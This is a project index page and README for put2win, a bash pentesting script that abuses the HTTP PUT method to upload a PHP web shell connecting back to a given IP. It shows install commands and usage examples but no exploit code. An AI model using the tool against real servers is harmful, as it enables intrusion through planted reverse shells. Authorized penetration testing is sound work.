https://github.com/devploit/put2win

Script to automate PUT HTTP method exploitation to get shell
https://github.com/devploit/put2win

bash pentesting websec

Last synced: about 2 months ago
JSON representation

Script to automate PUT HTTP method exploitation to get shell

• Host: GitHub
• URL: https://github.com/devploit/put2win
• Owner: devploit
• License: gpl-3.0
• Created: 2018-09-26T16:30:22.000Z (almost 6 years ago)
• Default Branch: master
• Last Pushed: 2020-06-25T06:59:49.000Z (about 4 years ago)
• Last Synced: 2024-05-19T06:09:20.341Z (4 months ago)
• Topics: bash, pentesting, websec
• Language: Shell
• Homepage:
• Size: 40 KB
• Stars: 123
• Watchers: 7
• Forks: 28
• Open Issues: 0
• Metadata Files:
  • Readme: README.md
  • License: LICENSE

Awesome Lists containing this project

• awesome-starz - devploit/put2win - Script to automate PUT HTTP method exploitation to get shell (Shell)
• awesome-hacking-lists - devploit/put2win - Script to automate PUT HTTP method exploitation to get shell (Shell)

README

        
# put2win

[![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/dwyl/esta/issues)

Script to automate PUT HTTP method exploitation to get shell.

[![asciicast](https://asciinema.org/a/vw0wGOc6BmYIFoWKiY0YkanLb.svg)](https://asciinema.org/a/vw0wGOc6BmYIFoWKiY0YkanLb)

### Installation

```bash

git clone https://github.com/sysdevploit/put2win

cd put2win

chmod +x put2win.sh

```

### Usage

```bash

Script to automate PUT HTTP method exploitation to get shell.

Options:

  -t TARGET        Target URL/IP (e.g. 192.168.1.10)

  -p PORT          Target PORT (e.g. 8080)

  -u URL PATH      Path to save the shell (e.g. /uploads)

  -l LOCAL IP      IP where the shell will connect (e.g. 192.168.1.5)

  -s SHELL NAME    Shell name (e.g. license.php)

Examples of use:

 - bash put2win.sh -t 192.168.1.80 -l 192.168.1.10 -s readme.php

 - bash put2win.sh -t 192.168.1.80 -p 443 -u /uploads -l 192.168.1.10

 ```

 

### Contact

Telegram: @devploit

Twitter: [@devploit](https://www.twitter.com/devploit)